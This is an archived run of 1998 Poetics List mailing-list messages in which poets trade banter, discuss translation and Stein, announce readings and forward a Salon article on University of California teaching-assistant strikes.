gaga, well, we'll draw a vail over poor gaga except to say that he and kent, well, it wasn't pretty, that's all, it just wasn't pretty and neither of them is female, or

a poster, no matter what they might claim. and i think they should give bowering back his raincoat -- the longer they wait, the more money bowering will borrow from the rest of us on the strength of it ("hey, got a dollar, i need a raincoat...")

queen of posting protocal
elliza

↑ Index

69. michael corbin
Re: fail safe
Wed 2 Dec 1998

Jordan Davis wrote:

> *Moved*
> *that Hart Crane's "The Bridge"*
> *"failed" --*
>
> *david bromige wrote:*
>
> *aloud in a*
> *Bart station,*

"they called to the streets, and the streets killed them". Weber, on Rosa Luxembourg and Karl Liebknecht.

Its not just a vertigo of modernity, I think, to be undone by this built environment. Yes, Yes, it is postmodern bricolage. Architecture. But what I'm confronted with is the concrete mixer. Dump truck. And those ubiquitous stanchions or tapered dividers that they put out at the construction sites, road repair, infrastructure development. Or more, scaffolding. Pinned up against the building. Rising up. Or those cranes they must deploy at the construction site, for the high-rise or sky-scraper. Signs everywhere. "Sidewalk Closed/Please Cross Street." "Bus No Longer Stops Here." "Board Bus On Mt. Pleasant Street".

What did Schumpter call capitalism? "Creative destruction"? I don't know. Just destruction. He was wrong. But, but the building seems to go on and on and on. Cities become ugly in there inhumanity. Or even ugly in their humanism. And the fragility of 700+ (sic) is no more than the fragility of walking across, through, various engineered behemoths, believing they will hold our weight, with moderators, and moderation, Believing, That, engineering and maybe even physics are on our side.

mc

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70. Bob Haynes
Re: setting the record straight
Wed 2 Dec 1998

In a message dated 12/2/98 2:03:40 PM, [redacted] writes:

<< queen of posting protocal >>

wow! what a great post. I don't know who some of the people are yet, but I think this is why I want to. bully for elliza, huzzah, huzzah.

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71. Pierre Joris
Re: two or three things
Wed 2 Dec 1998

---

schuchat wrote:

> *1. I noticed in some post or another a reference to Charles Bernstein as the "gray professor of poetry" at SUNY Buffalo. Say it ain't so! I do not recall Charles as gray in any sense.*

I'll vouch for that -- it's only the Chair he inhabits at Beau Fleuve that is Gray. The man hisself and the work is anything but that.

> *2. Non-non poetry reading:*
>
> *DARK -- Hoa Hyugen -- I strongly recommend this book.*

Am reading it just now -- excellent work, highly recommended.

> *3. So what about translation. ... Anyone read any other current American poetry in other languages?*

Just read (aloud even, at Beaubourg, in gay Paree last month) translations into French of Ken Irby and Robert Kelly. Wouldn't want to comment on their quality as I did the translations myself. The same evening heard Jean Daive read his Robert Creeley versions. French is a tough language for to put amerikan over and into, it tends to flatten the lines. impose melody on what was rhythm and dull the _arete_, the sharpness, especially in as tight and chiselled a syntax as Creeley's. But Daive has been slaving over these for many years and has come up with creditable versions. Wish I were in Berlin where Jerome Rothenberg is reading tonight no doubt with his German translator by his side. "Cockboy" and "that dada strain" in Hölderlinisch would be quite interesting to hear.

Come to think of it, this very afternoon I was zu Gast at Skidmore College in a French class to talk about my work, questions of translations, and the poetry of Henri Michaux -- and wound up at one point reading one of my poems as translated into French by Michel Maire. Whenever -- rarely -- I have done this -- always more or less forced -- it has made me feel strange and uneasy -- an uncanny experience, completely dissimilar from reading either my own work in the original English or that of another poet, be it in English or in translation.

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Through the living the road of the dead
— Ungaretti
==========

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72. Mairead Byrne
Re: setting the record straight
Wed 2 Dec 1998

Okay okay. I don't like candy but I'm whirling in rapid regression through teenagerhood all the way back to babyness. With a bit of luck I'll become embryonic. So bond away you great hunks -- and that goes for you too O far from mousey Joe Amato. I know this post does not concern poetics so I'm keeping it short so I won't be banished but is there a tiredness and a crotchetiness that's affecting a lot of folks at this tailend of the year? Especially as the weather round these parts is anticipating both Christmas AND summer holidays. Roll on this very last year of the century that still thinks it's new: hey, by the time the REAL new century comes I'll probably be a little scrap of genetic material, or at least back in God's pocket as we used to say. Mairead

On Wed, 2 Dec 1998, david bromige wrote:

> *Happy Thanxgvng everybody!*

↑ Index

73. Rachel Loden

pig wars and other truffle-snuffling battles

Wed 2 Dec 1998

I see that my name is being taken in vain again on this list. Eliza refers to "rachel loden and rachel lewinsky." I knew that GB was having one of his back-street flings with Rachel *Levitsky*, or maybe just stepped on his eyeglasses and couldn't tell us apart, but if Monica L. has a sister in these climes I really don't want to know. Why can't she earn her poet laureate kneepads somewhere else, maybe on Robert Pinsky?

But anyway. Re: the recent mishegoss, I like what Charles Mingus wrote on a record he sold me (and many others, no doubt) through the mail: "Thank you in this, your DISCRIMINATING purchase."

Check out Susan Wheeler's excellent "What Outside?" in the latest _Talisman_ for more light on turf battles. She quotes Auden's "rebuke to Spender when Spender, flitting through the issue of a new journal, came across a poem it pained him to envy, 'Yay! More to raid!'" And later: " . . . the problem is not what happens with assimilation, a trope that still depends upon opposition, it is rather how do we acknowledge and yet ignore, move through, not so much to accrue the goods (as the elect angels) but to develop the work . . . What is the result of the *action* of inserting more interesting work into less interesting work, or vice versa? . . . How does the culture alter by interbreeding? . . . Now, consider the result of this codification, this self-definition *against* an Other. Less to raid. Less to read. A snugger rug. New-found affinities. And a border to protect. An economy to support. A kind of nationalism complete with colonizing outposts in the classroom . . . "

I might add that Susan's own SMOKES (Four Way Books, 1998) is one of the strongest arguments I've seen for this freedom to raid and read.

In other bits of random business, David Bromige addresses

> *George Bowering, Bowering Manor, 29 The Winch, Grimsby : Now you're to be Poet Laureate of Canada and the Orcas Islands*

Now, when you talk about Orcas, you're talking about the trees some of my ancestors fell out of. The San Juan islands haven't been Brit since the resolution of the Pig War (an altercation worthy of the POETICS list) in 1872. My great-grandparents, John Loudon Gow and Emilie Harding, both of Orcas, would have looked unkindly on any suggestion that they curtsy before Lord Bow'ring.

Rachel Loden

↑ Index

74. charles alexander
Re: two or three things
Wed 2 Dec 1998

---

but I have a photo of him
he was making a sandwich
and a few hairs a gray
or was it grey poupon?

At 10:28 PM 12/2/98 -0400, you wrote:
>schuchat wrote:
>
>> 1. I noticed in some post or another a reference to Charles Bernstein
>> as the "gray professor of poetry" at SUNY Buffalo. Say it ain't so! I
>> do not recall Charles as gray in any sense.
>
>I'll vouch for that -- it's only the Chair he inhabits at Beau Fleuve that
>is Gray. The man hisself and the work is anything but that.
>
>>
>>
>> 2. Non-non poetry reading:
>>
>> DARK -- Hoa Hyugen -- I strongly recommend this book.
>
>Am reading it just now -- excellent work, highly recommended.
>
>> 3. So what about translation. ... Anyone
>> read any other current American poetry in other languages?
>
>Just read (aloud even, at Beaubourg, in gay Paree last month) translations
>into French of Ken Irby and Robert Kelly. Wouldn't want to comment on their
>quality as I did the translations myself. The same evening heard Jean Daive
>read his Robert Creeley versions. French is a tough language for to put
>amerikan over and into, it tends to flatten the lines. impose melody on
>what was rhythm and dull the _arete_, the sharpness, especially in as tight
>and chiselled a syntax as Creeley's. But Daive has been slaving over these
>for many years and has come up with creditable versions.
>   Wish I were in Berlin where Jerome Rothenberg is reading tonight no
>doubt with his German translator by his side. "Cockboy" and "that dada
>strain" in Hölderlinisch would be quite interesting to hear.
>   Come to think of it, this very afternoon I was zu Gast at Skidmore
>College in a French class to talk about my work, questions of translations,

>and the poetry of Henri Michaux -- and wound up at one point reading one
>of my poems as translated into French by Michel Maire. Whenever -- rarely
>-- I have done this -- always more or less forced -- it has made me feel
>strange and uneasy -- an uncanny experience, completely dissimilar from
>reading either my own work in the original English or that of another poet,
>be it in English or in translation.
>
>
>
>--
>==========
>Pierre Joris
>[redacted]
>http://www.albany.edu/~joris/
>6 Madison Place
>Albany NY 12202
>tel: [redacted]
>fax: [redacted]
>==========
>Through the living the road of the dead
>— Ungaretti
>==========
>
>

↑ Index

75. Kathy Lou Schultz

Antidote to Rae Armantrout's bad hair day

Wed 2 Dec 1998

HAIR-DO DOLLS
with clothes and 31 different hair-dos!
By Queen Holden

"Queen Holden is the most famous paper doll artist in the U.S. Her paper doll booksales exceeded 28,000,000 copies and are highly collectible. She was first published in the 1920's."

This and other FABULOUS prizes can be yours at the Lipstick Eleven reading and party this Friday, December 4, 7:30 p.m., at 766 Valencia in San Francisco.

What has this to do with poetics? Oh, everything darlings, everything. Just ask Elizabeth Treadwell about her upcoming Outlet issue on "ornament."

Kathy "How Shall I Wear My Hair" Lou
(proud purveyour of the Crass Lecherous Guy Reading Series)

↑ Index

76. William Slaughter
favor (fwd)
Wed 2 Dec 1998

Dear Poetics List,

Some of you may have wondered at the unusual blissful non-clutter of your Poetics List mail lately without any Henry postings. I have been put on "review" status by the list manager for "overposting". I'm not sure if this is a first - is Kent here somewhere? - but I thought people might like to know.

I'm writing to say that I understand the list manager's exasperation & desire to have more diversity of messages posted. And that it's been an enlightening experience to be in the doghouse, on mandatory fast. Once many years ago, when I thought God had appeared to me & I needed to get closer to Him, I fasted for 13 days. I remember the lightness, the heightened awareness, and riding around on my bike observing the tinkling circus atmosphere that emanated from the rows of commercial food establishments & shops in the neighborhood.

The Poetics List now seems to emanate the same atmosphere for me. Once I was part of it. Now I am on mandatory fast. It feels good.

Poetry is neither a product of serious-minded scholarship nor an expression of stylish "fumiste" joie-de-vivre. Or perhaps it CAN be these things, but in my current hungry state I'm interested in something else.

Poetry is part of the seriousness of life in a deeper sense that scholarship or reasoning can bear. It's linked with those words & expressions that transform us. I am not thinking of the velvet metamorphoses of an Ovid or a Rilke or even a Shakespeare, but of those words - those few words - that make a path into and through the depths of experience. We inhabit a reality of heavens and hells which is moving inexorably toward either disaster or joy, and is climaxed for each of us & for those we love by a terrifying unknown - or at least a suspenseful unknown. We are possessed by love which overtakes us & transfigures everything. These are the things that a poet tries to become worthy to express.

The world is large & poetry is deep, sublime and profound. We should be careful we don't deaden the awareness of its presence with our tinkling cymbals.

- Henry Gould

↑ Index

77. Kathy Lou Schultz
non-po reading
Thu 3 Dec 1998

Beneath The Underdog: His World As Composed by Mingus by Charles Mingus

Now, the middle can be a bit slow-going. But the beginning and the end have brilliant moments including "Why this is not as good as being treated privately by my own psychologist, or HELLVIEW OF BELLEVUE." Also of note are the sections in which great live jazz performances are enacted in the text via conversations between the players, giving rise to some interesting possibilities for examining the relationship of jazz rhythms to "vernacular" speech. Mandatory listening while reading this book: "The Black Saint and the Sinner Lady."

Kathy Lou Schultz (with special thanks to Louis Chude-Sokei)

↑ Index

78. Mark Salerno
THE LAST AVANT-GARDE
Thu 3 Dec 1998

Kevin:

The next issue of Arshile will feature a special project on Frank O'Hara, and for this we would like to run a review of the new Lehman book THE LAST AVANT-GARDE. Would you have an interest in writing such a review? I think you could do a wonderful job on it.

Let me know.

Mark

P.S. I'm finally getting around to your Spicer book. And enjoying it immensely! Thanks for writing it. (And thanks for the mention on your acknowledgements page).

↑ Index

79. Mark Salerno
THE LAST AVANT-GARDE
Thu 3 Dec 1998

Colleagues:

My apologies for the accidental front channel of an intended back channel.

Mark Salerno

↑ Index

80. dbkk
SPT: Lipstick 11 Reading
Thu 3 Dec 1998

Small Press Traffic presents

A bookparty for
Lipstick Eleven

Friday, December 4, 7:30 p.m.
New College Cultural Center
766 Valencia Street
$5

Come celebrate the long-awaited publication of Lipstick Eleven, an annual multi-genre journal of experimental writing. Sexy, smart, socially-aware texts--along with a generous helping of irreverence. Get your dose at the publication party for Lipstick Eleven No. 1, edited by Jim Brashear, Catalina Cariaga, Roxane Marini, and Kathy Lou Schultz. All attendees will receive a free raffle ticket for o-o-h, a-h-h fabulous prizes.

Readers will include Mike Amnasan, Dodie Bellamy, Norma Cole, Robert Gluck, Kevin Killian, Camille Roy, Jocelyn Saidenberg, Wayne Smith, Brian Strang, Rodrigo Toscano, Robin Tremblay-McGaw, and Truong Tran.

↑ Index

81. George Bowering
Re: Reads On Buses
Thu 3 Dec 1998

> *it is true that Ron and 26 or 46 of us read Ketjak (or Tjanting) aloud in a Bart station*

Several years ago a bunch of the young Montreal poets were videotaped while reading in a Station of the Metro.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

82. George Bowering
Re: setting the record straight
Thu 3 Dec 1998

> *And then there is the problem of*
> *cross-dressers, like George Bowering. Or Rachel Loden.*
> *Or.....David.*

I want to go on record as saying this: I dont WEAR the cross; i BEAR the cross.

Bromige should know this, because every time he gives me a kiss, I give him 30 pieces of silver. That's $7.50 US.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

83. George Bowering
Re: two or three things
Thu 3 Dec 1998

I love Bernstein. And I happen to know that he wears gray underwear.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

84. Michel Delville
Stein's Rose w or w/o indefinite article
Thu 3 Dec 1998

>can anyone tell me where i can find stein's famous "a rose is a rose is
a
>rose is a rose"? i know it's several places, i just need one bibl.
>reference.

Stein coined the phrase "Rose is a rose is a rose is a rose" in "Sacred Emily." The phrase reappeared, preceded by the indefinite article, in a later prose sketch entitled "Objects Lie on the Table": "Do we suppose that all she knows is that a rose is a rose is a rose is a rose" (*Operas and Plays*; 1932).

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

85. Jim Andrews
Infoanimism
Thu 3 Dec 1998

A short essay entitled "Infoanimism" that grew out of Enigma n awaits you at http://speakeasy.org/~jandrews/vispo/EnigmanInfoanimism.html

An excerpt:

...conceive of a word that appears on the screen as being an object with its own properties and behaviors. W.H. Auden once said that he'd give less chance of success to a young writer who said he had something to say than he would to a writer who said he liked to watch the way words hang around together. DHTML allows writers to make documents in which words hang around together and interact with each other and with the reader and possibly with other documents and readers on the Web in ways that can be relevant to what Auden said but in radically different ways than he had in mind.

↑ Index

86. George Bowering
Re: Stein's Rose w or w/o indefinite article
Thu 3 Dec 1998

> *Stein coined the phrase "Rose is a rose is a rose is a rose" in "Sacred Emily." The phrase reappeared, preceded by the indefinite article, in a later prose sketch entitled "Objects Lie on the Table": "Do we suppose that all she knows is that a rose is a rose is a rose is a rose" (*Operas and Plays*; 1932).*

She also used it as a circular device on her stationary for a while. The circular version also happens, if i remember aright, in The World is Round.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

87. miekal and
quick history
Thu 3 Dec 1998

wondering if someone could give me a quick history lesson, when was the atom first split, Im guessing around 1937-38...

I miss henry

miekal

↑ Index

88. Ron Silliman
A bus ride is better than most art
Thu 3 Dec 1998

Actually,

it was a solo reading of the whole of Ketjak, in September 1978 (20 years ago!), at the original branch of the Bank of America, #1 Powell Street, directly in front of the cable car turnaround,

and then, several years later (1982 or 83), a reading of the whole of Tjanting at the Church Street Muni Metro station with some 26 odd (some very odd) people assisting.

The latter would have been in a BART station if I could have gotten permission to do so, but I was able to wrangle it from Muni because I knew two members of the Public Utilities Commission, one from my work as a political organizer and the other being John Sanger, whom the sharp-eyed on this list will recognize as having been (1) the producer of the David Lynch film _The Elephant Man_; (2) Michael Palmer's upstairs neighbor during much of the 1970s; (3) the director of the very last TV episode of Twin Peaks.

I have written books on public transit, but never given a reading on same.

Ron

↑ Index

89. Ramez Qureshi

Fwd: [Fwd: "Hell no, we won't grade" (Salon)]

Thu 3 Dec 1998

This is a multi-part message in MIME format.

--part0_912682721_boundary

some interesting news
(just made my non-poetry reading list)

--part0_912682721_boundary

air-zd01.mail.aol.com (v51.29) with SMTP; Wed, 02 Dec 1998 07:26:16 -0500
by rly-zd01.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with ESMTP id HAA29654 for <[redacted]>;
Wed, 2 Dec 1998 07:26:15 -0500 (EST)
(LSMTP for Digital Unix v1.1b) with SMTP id
<[redacted]>; Wed, 2 Dec 1998 7:25:23 -0500
1.8a) with NJE id 5772 for [redacted]; Wed, 2
Dec 1998 07:26:07 +0000
1796; Wed, 02 Dec 98 07:24:10 ECT
V2R2)
with TCP; Wed, 02 Dec 98 07:24:08 ECT
blue.spectra.net (8.9.0/8.9.0) with ESMTP id HAA31539 for
<[redacted]>; Wed, 2 Dec 1998 07:26:10 -0500
Newsgroups: bit.listserv.enggrad
Date: Wed, 2 Dec 1998 07:22:30 -0500
From: "J. Elizabeth Clark" <[redacted]>
Subject: [Fwd: "Hell no, we won't grade" (Salon)]
To: Ramex Qureshi <[redacted]>

Thought you all might be interested in this...
Liz

[128.226.10.60])
by blue.spectra.net (8.9.0/8.9.0) with ESMTP id PAA16637
for <[redacted]>; Tue, 1 Dec 1998 15:16:41 -0500
[128.226.108.246]) by mail.binghamton.edu (8.8.7/8.6.12) with SMTP id PAA24933;
Tue, 1 Dec 1998 15:11:05 -0500 (EST)

Date: Tue, 01 Dec 1998 10:05:45 -0500
To: [redacted], [redacted],
[redacted], [redacted],
[redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted],
[redacted], [redacted], [redacted]
From: Wayne Ross <[redacted]> (by way of Lennard Davis
<[redacted]>)
Subject: "Hell no, we won't grade" (Salon)

>>HELL NO! WE WON'T GRADE!
>>
>> [SALON , Nov. 30] -- this is an on-line magazine.
>>
>> Will the upcoming strike by University of California graduate
>>teaching assistants raise them from their serflike status -- or spell
>>their eventual doom?
>>
>> BY SEAN McMEEKIN
This week, graduate students employed as
>>teaching assistants in the massive University of California system
>>plan to kick off the holiday season by going on strike. California's
>>graduate TAs have clashed with university administrators frequently in
>>the past decade over such matters as health insurance benefits and
>>tuition fee remissions, but this will be the first time they have
>>walked out simultaneously on all eight U.C. campuses. Never before
>>have the graduate student teachers of U.C. been so well organized, or
>>so unanimously focused on one goal: collective bargaining rights.
>>Union recognition of TAs is the bjte noire of the U.C. Regents, the
>>university's conservative governing board, and of the individual
>>chancellors who carry out their policies. So far, the Regents have
>>stubbornly resisted the drive for TA recognition in the courts, and
>>university administrators have survived brief, largely uncoordinated
>>strikes for union recognition staged at individual U.C. campuses each
>>of the last three years.
>>
>> But the December action promises to be different. Rather than
>>try, somewhat quixotically, to shut down enormous public research

>>universities, TA strikers will deploy a "porous" picket line and even
>>encourage their undergraduate students to continue attending classes.
>>Having learned from the notorious public relations failure of a
>>semester-end strike at Yale three years ago -- when TAs graded
>>assignments but refused to release their grades, thus incurring the
>>wrath of undergraduate students and their parents -- California's
>>striking TAs will simply withdraw their labor for the month of
>>December, in effect daring their universities to hire scabs to grade
>>finals. The December walkout, which is organized and underwritten by
>>the United Auto Workers (which has branched out deeply into the
>>clerical and educational fields), may turn out to be, in the words of
>>Christian Sweeney, a leading TA organizer at UC-Berkeley, "the largest
>>graduate student labor action ever."
>>
>> Although it has carried a lower media profile than the curriculum
>>wars and the ongoing struggle over affirmative action, the
>>ever-tightening academic labor crunch is unquestionably the central
>>issue facing higher education in America. The underemployed Ph.D. has
>>become a clichi in a job market that has seen the number of annual
>>tenure-track job openings decline for most of this decade, even as
>>undergraduate enrollments boom and class sizes inexorably rise. As
>>universities have struggled to scale back budget outlays in response
>>to decreasing public investment in higher education, they have
>>increasingly filled classrooms with cheap, temporary labor. Large
>>state schools such as the University of California have primarily done
>>this by using a surplus pool of graduate students, whose numbers have
>>exploded in the 1990s despite diminishing prospects in the academic
>>job market. Smaller universities and community colleges, lacking
>>extensive graduate programs, have largely relied on non-tenure-track
>>"adjunct" professors, who now make up well over 40 percent of the
>>academic labor force nationally, and are expected to outnumber
>>full-time tenured and tenure-track faculty by 2001.
>>
>> The lot of the adjuncts is not a happy one. Spin magazine
>>recently published an exposi by ex-doctoral student Eric Weisband on
>>"Sucker Ph.D.s," who were gulled by a now infamous 1989 Mellon
>>Foundation report into believing "that an expected wave of faculty
>>retirements beginning in the mid-'90s would threaten the health of
>>higher education unless more college students could be persuaded to
>>apply for doctoral degrees." Professors have, as expected, retired in
>>great numbers in the 1990s, but their tenured positions have been
>>retired along with them. Because they constitute an amorphous,

>>transient and migratory work force, adjuncts have no unions and are
>>consequently even more poorly compensated, on an hourly basis, than
>>most of the unionized clerical and custodial employees of the schools
>>where they work. Even graduate TAs, such as the U.C. strikers, make a
>>better wage than adjuncts -- although adjuncts have Ph.D.s and
>>graduate students do not. Alarmed that once-full-time faculty
>>positions have been downsized into cheaper, part-time teaching
>>junkets, the Higher Education Department of the American Federation of
>>Teachers has issued a special report on "The Vanishing Professor."
>>
>> A labor conference held at the Graduate Center of the City
>>University of New York in April 1998 has raised limited hopes that
>>adjuncts in the nation's largest urban college system might win
>>recognition through CUNY's faculty union, the Professional Staff
>>Congress. But adjuncts are still outnumbered 9-1 by full-timers on the
>>Staff Congress -- although they make up nearly 60 percent of the CUNY
>>faculty. The prospect of collective bargaining rights for adjunct
>>professors remains, for most, a laughable pipe dream.
>>
>> With adjuncts largely powerless, the only effective resistance
>>offered to the forces transforming the academic labor market has come
>>from graduate students at large state research universities, where
>>their numbers have reached critical mass. The universities of Oregon,
>>Wisconsin and Michigan, long heavily dependent on graduate teaching
>>assistants, have already been forced to recognize TA unions. Trends in
>>the teaching demographics of the University of California seem to
>>point in a similar direction. After a decade-long boom in doctoral
>>program enrollments, graduate students now make up nearly 60 percent
>>of U.C.'s instructional staff; full-time tenured or tenure-track
>>professors account for 20 percent; the remaining fifth are adjuncts.
>>And these TAs do not merely lead discussion sections of large lecture
>>classes. Graduate students teach first-year foreign language classes,
>>freshman English seminars and even many advanced colloquia devoted to
>>undergraduate honors research. In light of these facts, it is hard to
>>argue with the motto of U.C.'s TA unions: "The University Works
>>Because We Do." By refusing to work this December, TAs are putting
>>their slogan to the test: Will the university work without them?
>>
>> After being flooded with e-mails from undergraduates concerned
>>that their university will, indeed, not "work" without the services of
>>its graduate TAs, UC-Berkeley Chancellor Robert Berdahl called a
>>special meeting with TAs from Berkeley's top-ranked history department

>>to discuss the upcoming strike. Himself a history Ph.D., Berdahl hoped
>>to defuse pre-strike tensions by exchanging views with graduate
>>students he regarded as future colleagues, in their own department, in
>>a setting geared toward the "collegiality" of academic discourse.
>>
>> Berdahl, a Midwesterner of imposing size but extremely congenial
>>temperament, is only in his second year at Berkeley, and is still
>>anxious to make a good impression on students who feel they barely
>>known him. His gesture of solidarity with history doctoral students
>>was not, however, received cordially. E-mails flew among history grads
>>after his Oct. 28 invitation, accusing Berdahl of "scare-tactics and
>>intimidation" among other things. But Sweeney, a second-year American
>>history grad and TA union leader, convinced his colleagues that
>>meeting with the chancellor of U.C.'s "flagship campus" offered an
>>"opportunity to communicate why we want a union with collective
>>bargaining rights and what we're willing to do to achieve that goal."
>>Two brainstorming sessions followed, in which the graduate students
>>worked out a strategy of rhetorical attack.
>>
>> When Berdahl arrived in the conference room of the history
>>department on Nov. 12, the stage was set for an ambush. Although more
>>than half of Berkeley's current history TAs have declined, for one
>>reason or another, to walk out in December, not a single TA spoke out
>>against the strike in front of Berdahl. Galvanized by Sweeney's
>>strategic bull sessions, graduate students attending the meeting spoke
>>as one, letting forth an eloquent cascade of grievances against
>>Berkeley's academic labor practices. Unlike unionized employees of the
>>University of California, TAs do not receive regular cost-of-living
>>increases in their wages; they bore the brunt of state budget cuts on
>>higher education enacted under Gov. Pete Wilson.
>>
>> Berkeley's graduate students, Monica Rico pointed out, won
>>limited health coverage and tuition-fee remissions in previous strike
>>actions, but these gains were granted by the university "on an ad-hoc
>>basis," and could easily be revoked in the absence of permanent,
>>union-negotiated contracts. Without collective bargaining recognition
>>for TAs, the university could, in Rico's view, continue to take
>>advantage of graduate students with impunity. After all, she
>>complained, as a TA, her "$13,000-a-year voice [doesn't] have much
>>chance of being heard." Only a union would give Rico and other TAs a
>>fair chance for "redress of grievances." Graduate students with
>>children, Vera Candiani explained to the chancellor, desperately

>>needed a certain level of "predictability": They must be able to plan
>>for future expenses without worrying about a possible revocation of
>>health benefits or a reinstitution of fees. It was in order to lock in
>>guaranteed compensation levels, Candiani declared, that "we have
>>chosen a union to represent us, [and] that is our right."
>>
>> Against a chorus of hostile voices committed to TA unionization,
>>Chancellor Berdahl struggled to uphold an idealistic view of the
>>university as a haven of "collegial" discourse where the adversarial
>>model of the shop floor had no place. Citing his prior experience as a
>>member of the American Federation of Teachers union, and as a
>>negotiator with TA unions at the University of Oregon, where he had
>>been associate dean of undergraduate education, Berdahl argued that
>>"collective bargaining isn't a dialogue." Because each group involved
>>employs agents, "professional negotiators ... whose purpose is to win
>>a point," the upshot of unionization was, in Berdahl's estimation, "to
>>utterly destroy hope ... of collective conversations on either side of
>>the table." Because of their devotion to "collegiality" and
>>constructive "dialogue," universities were in the chancellor's view
>>"not factories ... not like any other industry." And yet, when pressed
>>by one graduate student to explain the ongoing "outsourcing" of
>>academic labor in the 1990s -- the employment of adjuncts -- Berdahl
>>tacitly admitted that in this instance, the factory model may have
>>invaded the academy. This did not mean, however, that unionization was
>>the answer.
>>
>> "Unions," Berdahl reminded the history TAs ominously, "have not
>>prevented [corporate] downsizing." Nor would recognition of TAs' right
>>to bargain collectively, he warned, necessarily "lead to different
>>decisions by the university" on employment practices than would
>>otherwise be made. Even while declaring allegiance to the lofty ideals
>>of academia, Berdahl hinted, none too subtly, that he was willing to
>>bow to the bottom line if necessary.
>>
>> The hidden subtext of Berdahl's warning was this: Graduate
>>students are expendable. At an elite university like Berkeley
>>especially, TAs are an expensive commodity. Permanent faculty members
>>may love to have graduate students around who share a passion for
>>scholarship, who provide cheap research assistance and who are, almost
>>by definition, eager to please professor-mentors who act as
>>all-powerful gatekeepers to academic success.
>>

>> But from the standpoint of university administration, graduate
>>students are a luxury. They are not merely paid more than adjuncts
>>when they teach; they also drain university resources with their
>>fellowships, research and travel grants, and by tying up significant
>>quantities of professors' own teaching time and office hours. Compared
>>to the undergraduates whose tuition underwrites their paychecks,
>>graduate students are indeed a privileged lot. Even the opportunity
>>enjoyed by graduate students to teach undergrads, in many cases with
>>little or no prior experience -- and of course, without the Ph.D.
>>degree that ostensibly qualifies them for such teaching -- could
>>arguably be considered a privilege, a valuable apprenticeship. TAs
>>receive a salary, which currently includes health coverage, for what
>>is, in effect, on-the-job training. Not everyone outside the academy
>>is so lucky.
>>
>> Of course, the chance afforded graduate students to teach is not
>>merely a privilege, but also a serious responsibility. And many TAs,
>>unwilling to abdicate their duties to their students at a critical
>>time of year, have opted out of the December strike, regardless of
>>their personal views on unionization. Graduate students were, after
>>all, once undergraduates themselves, and most of them do not take
>>lightly the prospect of walking out on their students.
>>
>> Lisa Swartout, the head TA of Berkeley's core European history
>>survey course this fall, was herself an undergraduate at Berkeley, and
>>knows how crucial a role graduate TAs play in large lecture courses.
>>As an undergrad, Swartout recalls, "I really had to fight for any
>>attention that I got"; as a graduate TA, she now feels a reciprocal
>>obligation to her undergraduate students, recognizing that she
>>represents "one of their lifelines to the university." To cut off this
>>lifeline is not an easy decision to make, and even many dues-paying TA
>>union members are hesitating before making it.
>>
>> When the University of California reinforces the ranks of these
>>non-striking TAs with recruits from the vast statewide pool of
>>underemployed Ph.D.s -- all potential scabs, on the cheap -- the
>>expendability of graduate teaching assistants may be rudely exposed.
>>If graduate students continue the national trend of striking for union
>>recognition, Chancellor Berdahl admonished Berkeley's history TAs in a
>>barely veiled threat, "universities will shift resources towards
>>[adjuncts]." After all, doing so would be both "cheaper" and "easier"
>>than dealing with militant union representatives. What's more, Berdahl

>>concluded, the inevitable result of more adjunct hiring would be a
>>"shrinking of graduate programs." By demanding to be treated as union
>>labor, strikers may indeed win the right to be treated as union labor,
>>and see most of their jobs taken over by non-union adjuncts -- who
>>will actually be more qualified and more experienced than the
>>unionized employees they are replacing. Those few TAs still hired each
>>semester may enjoy "predictability," with full knowledge of their
>>rights and benefits; but the mushrooming ranks of graduate students
>>turned down for teaching positions would enjoy no benefits, no
>>compensation, at all. The strikers may, in short, be punished by their
>>success.
>>
>> By diverting attention away from the desperate plight of the
>>adjuncts, graduate student strikers may also have unwittingly played
>>right into the hands of the cost-cutting university administrators who
>>are their true adversaries. In California, the TA strikes have
>>mobilized the university's legal department in a concerted, and very
>>expensive, effort to block unionization. After their battles with
>>striking graduate students, U.C. administrators are not likely to
>>suffer kindly any future unionization drives by adjuncts; and without
>>the eventual organization of adjuncts, it is hard to imagine that the
>>tenured academic labor squeeze -- the vanishing professor problem --
>>will disappear. The frustrating experience with TA unions may instead
>>teach universities that exploiting adjuncts is the ideal way to toe
>>the bottom line and accelerate the process of academic corporatization
>>already under way. Graduate students are, ideally, future professors
>>in the making, but in practice most of them will end up, sooner or
>>later, as adjuncts. Many of these unlucky adjuncts may come to regret
>>the way they abused the privileges they once enjoyed as graduate
>>students, when they bit the hand that was still feeding them
>>generously even while those less fortunate fought desperately for any
>>scraps thrown their way. SALON | Nov. 30, 1998
>>
>> Sean McMeekin is a Ph.D. candidate in history at UC-Berkeley. He
>>is not currently teaching and does not belong to the union.

E. Wayne Ross
SUNY Binghamton

"Ain't it sad when your only friend is the blues
You can't keep your love afloat on a sea of fools."
-Rod & Honey Piazza

--part0_912682721_boundary--

↑ Index

90. Gabriel Gudding
I Will Irony No More Forever
Thu 3 Dec 1998

On Wed, 2 Dec 1998, Eliza McGrand wrote:

> *gaga, well, we'll draw a vail over poor gaga except to say that he and*
> *kent, well, it wasn't pretty, that's all, it just wasn't pretty and*
> *neither of them is female, or a poster, no matter what they might*

A). Because I am dumb and cannot defend myself, I try to ignore those who slight me. When I am at my best, and my being is working like a glinty and powerful bike, I do not even notice it when people slight me, for I am as the spiff pedals pumping over the leaves.

B). And yes in deference to Henry Gould's recently smuggled and very wise words about poetry and despite them furthermore I would like to say the following to Elliza McGrand, and then get on to one or two points regarding this holy order that is our Poetry:

Dear Impostor:

I like it best when you are mute.

It is fundamentally important you understand at least 3 (three) of the 5 (five) reasons I have attested in court to your derangment:

The First: You remind me of a dog hurled over a roof: yapping to no effect.

